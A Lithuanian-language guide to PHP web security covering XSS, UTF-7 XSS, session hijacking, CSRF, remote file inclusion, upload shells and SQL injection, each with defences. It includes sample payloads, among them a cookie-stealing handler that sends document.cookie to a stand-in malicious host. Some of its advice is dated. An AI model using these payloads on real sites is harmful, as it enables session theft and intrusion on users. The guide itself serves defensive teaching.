Ataka vykdoma tuo atveju, kai pagal vartotojo įvestus duomenis formuojamas puslapio turinys (pvz.: rašant komentarus, pasisakymus, netikrinami duomenys vartotojo varduose, pavardėse, atliekant paiešką ir pan.).
Tinklalapis yra pažeidžiamas tuo atveju, kai rodant vartotojo duomenis galima įvykdyti Javascript kodą.
Pavyzdžiui, atliekant įrašą tinklalapio svečių knygoje įvedamas tekstas: <script>alert('You\'ve been hacked!')</script>
Analogiškas tekstas bus rodomas formuojant HTML turinį, tuo pačiu įvykdant ir kodą.
Analogiška situacija yra vykdant paiešką ir, pavyzdžiui, ieškant teksto su HTML tag'ais. Jei paieškos rezultate parodoma ieškota frazė su visu HTML'u tokį puslapį galima panaudoti perimant vartotojo slapuką ir sesiją (cookie/session hijacking).
Leidžiant įvesti kai kuriuos HTML elementus (pvz.: IMG, A, B, I...) galima pridėti atributą (pvz.: onmouseover) ir įvykdyti Javascript kodą.
Paprasčiausias metodas - neleisti apskritai įvesti HTML kodo, o vietose, kur rodomas vartotojo įvestas tekstas, jį strip'int naudojant strip_tags() ar htmlspecialchars().
Jei sistemoje yra leidžiama įvesti kai kuriuos HTML elementus, būtina išvalyti Javascript event'ų atributus (prasidedančius "on..."). Tam galima naudoti išorinę programą "Tidy" arba naudoti reguliarias išraiškas.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Cross-site_scripting
Ataka vykdoma pasinaudojant naršyklės savybe "nuspėti" naudojamą simbolių rinkinį.
UTF-7 leidžia bet kokį simbolį išreikšti ASCII simboliais, o naršyklė bandydama nuspėti, kokia koduotė naudojama, UTF-7 užkoduotus simbolius gali paversti į reprezentuojamus simbolius, kurie leidžia įvykdyti ataką.
Pavyzdžiui, UTF-7 koduotėje simbolis < žymimas +ADw, o simbolis > +AD4. Tokiu atveju formuojant antraštę (TITLE) iš simbolių:
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
bus gaunamas realus vaizdas:
<script>alert(document.location)</script>
Tai suteikia galimybę įvykdyti Javascript kodą.
Visada siųsti koduotės nustatymus prie HTTP antraštės, pvz.:
header('Content-type: text/html; charset=UTF-8');
Prieš bet kokį dinamiškai formuojamą tekstą (pvz.: TITLE elementą), įrašyti koduotę nustatančią eilutę, pvz.:
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
Plačiau: http://openmya.hacker.jp/hasegawa/security/utf7cs.html
Ataka remiasi tinklalapio XSS pažeidžiamumu. Jos esmė - naudojant išorinį elementą gauti vartotojo slapuką, kuriame įrašytas sesijos ID.
Pavyzdžiui, įterpus elementą:
<div onmouseover="document.getElementById('a').innerHTML='<img src=http://kenkejiskas-saitas.com/vagiam-cookie.php?'+document.cookie+' width=0 height=0/>'" style="height: 100px"></div>
<div id="a" />
Užvedus pelyte ant pirmojo bloko, bus įvykdomas Javascript kodas, kuris užkraus skriptą ir perduos jam visus slapukų duomenis (pastarieji gali būti išsiunčiami el. paštu ar kitaip perduodami), kartu ir sesijos ID. Piktavaliui užtenka pačiam įdėti slapuką su sesijos duomenimis ir jis jau bus prisijungęs prie sistemos kaip kitas vartotojas.
Sesijos ID gali būti perimamas ir tuo atveju, jei vartotojo naršyklė nepalaiko slapukų. Tokiu atveju PHP automatiškai prideda sesijos ID prie kiekvienos nuorodos ir kaip HIDDEN lauką formose.
Vartotojui prisijungiant, reikia išsaugoti IP adresą, iš kurio vartotojas jungiasi. PHP $_SERVER masyve IP adresą reprezentuoja REMOTE_ADDR ir HTTP_X_FORWARDED_FOR (jei naudojamasi Proxy serveriu) elementai.
Kaskart atliekant užklausą į serverį reikia patikrinti, ar užklausa įvykdoma iš to paties IP (bei IP forwarded) adreso. Jei reikšmės nesutampa, neleidžiama atlikti jokio veiksmo, o sesija panaikinama.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Session_fixation, http://en.wikipedia.org/wiki/Session_hijacking, http://en.wikipedia.org/wiki/Session_poisoning, http://en.wikipedia.org/wiki/Cross-site_cooking
Tarkime, žinoma, jog vartotojas yra prisijungęs prie kažkokio interneto tinklalapio.
Taipogi žinoma, kokia nuoroda kokį veiksmą atlieka. Pagal turimas žinias suformuojama nuoroda, kuri atlieka atitinkamą veiksmą ir nematomai patalpinama kažkokiama tinklalapyje. Pavyzdžiui:
<img src="http://www.bankas.com/pervesti-pinigus?i-saskaita=1234&suma=1000Lt" />
Tuomet vartotojui pasiūloma apsilankyti kenkėjišką kodą turinčiame tinklalapyje. Ir vartotojui nepastebint, įvykdomas atitinkamas veiksmas.
POST metodas negelbsi, kadangi kenkėjiškame puslapyje gali būti ir automatiškai įvykdoma forma, ir IFRAME elementas. Tikrinti HTTP_REFERER taipogi neefektyvu, kadangi šiuos duomenis galima suklastoti.
Efektyvus sprendimas yra kiekvienam veiksmui generuoti atsitiktinę simbolių seką (žetonus - token'us), kuri, vykdant nuorodą, patikrinama. Tokiu atveju saugi nuoroda atrodytų taip: http://www.bankas.com/pervesti-pinigus?i-saskaita=1234&suma=1000Lt&token=Jdf1S19cQ, kurios paskutinis elementas kaskart būtų skirtingas. Analogiškai token'ai turėtų būti įterpiami į formas HIDDEN laukų pavidalu.
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Cross-site_request_forgery
Ataką galima įvykdyti, kai sisteminiuose failuose atidaromi ar iškviečiami failai, kurių pavadinimas generuojamas iš vartotojo įvedamų duomenų.
Pavyzdžiui, URL: http://www.example.com/modulis=straipsnis
PHP skriptas:
include($_GET['modulis'].'.php');
Tokiu atveju URL pakeitus į http://www.example.com/modulis=http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas
bus įvykdomas skriptas iš http://www.kenkejiskas-puslapis.com/kenkejiskas-kodas.php
Analogiškai galima iškviesti bet kokią programą ar įtraukti bet kokį failą, esantį tame pačiame serveryje (pavyzdžiui, iškviečiant /etc/passwd)
Taip pat galima užkrėsti ir vartotojo slapukus, todėl negalima aklai pasitikėti ir juose saugomų duomenų tikrumu.
Išvalyti vartoto įvestus duomenis, paliekant TIK simbolius, esančius range [A-Za-z0-9_-]. Taip pat patikrinti, ar vartotojui leidžiama iškviesti atitinkamą kodą. Pavyzdžiui:
$moduliai = array('straipsnis', 'naujiena');
if(in_array($_GET['modulis'], $moduliai))
echo 'OK';
else
exit('Toks modulis neegzistuoja');
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/Code_injection, http://en.wikipedia.org/wiki/Directory_traversal, http://en.wikipedia.org/wiki/Remote_File_Inclusion
Naudojantis failo įkėlimo forma, įkeliamas skriptas, kuris įvykdomas per naršyklę. Toks skriptas sistemoje gali atlikti bet kokį darbą - nuo failų bei duomenų bazės informacijos nuskaitymo, įrašymo, modifikavimo iki visiško sunaikinimo.
Visada tikrinti įkeliamo failo MIME tipą ir leisti įkelti tik patikimus failų formatus.
Taip pat naudojant trečių šalių aplikacijas (pvz.: WYSIWYG redaktorius) pašalinti DEMO puslapius, kurie leidžia neribotai naudotis sistema. Vertėtų pasirūpinti, kad neprisijungusiems vartotojams nebūtų galima naudotis trečių šalių programomis (tam gali tekti modifikuoti pačią sistemą ir nepamiršti to atnaujinant sistemą į naujesnę versiją).
Siunčiant HTTP header'į "Location", naršyklė atveria nurodytą tinklalapį, vartotojui nerodydama HTML kodo, net jei jis perduodamas.
Visgi, jei HTML kodas yra perduodamas, jį galima gauti naudojant CURL biblioteką, taip gaunant papildomos informacijos (paprastam vartotojui nematomas nuorodas, tekstą ir pan.), kas gali palengvinti įsilaužimą į sistemą.
Po kiekvieno HTTP redirect'o, naudojant header('Location: ...'); baigti skripto vykdymą su exit();
Formuojant SQL užklausą dažnai tenka į ją įtraukti duomenis, kuriuos perduoda vartotojas.
Pavyzdžiui, kviečiant užklausą http://example.com/getUserData.php?user=59 turi būti formuojama tokia SQL užklausa:
SELECT * FROM users WHERE id=59
Tiesiogiai paimant duomenis su PHP eilutė atrodytų taip:
$result = mysql_query('SELECT * FROM users WHERE id='.$_GET['id']);
Vietoje parametro "id" perduodant kenksmingą kodą galima suformuoti bet kokią užklausą, pvz.:
http://example.com/getUserData.php?user=59 OR 1=1 - bus sugeneruota užklausa, kuri gražins visus įrašus iš duomenų lentelės.
Panaudojant SQL injection atakas galima ne tik gauti, bet ir modifikuoti duomenis bei nuskaityti duomenis, esančius failuose.
Tam, kad apsisaugoti nuo šio tipo atakų, reikia patikrinti kiekvieną argumentą, perdudodamą SQL užklausai.
Galima naudoti PHP funkciją mysql_real_escape_string(), o skaitinėms reikšmėms patikrinti, ar tai tikrai skaičius, naudojant is_numeric() arba typecast'inant kintamąjį į skaičių, naudojant settype() arba (int)$kintamasis;
Plačiau Wikipedijoje: http://en.wikipedia.org/wiki/SQL_injection
demoniukstis | [1177] |
algirdokas | [997] |
Nezinomas | [710] |
KamTasVardas | [675] |
LOOK MY | [345] |
Audrius22 | [336] |
admin | [334] |
pavilion | [251] |
gintis666 | [226] |
Hitman | [190] |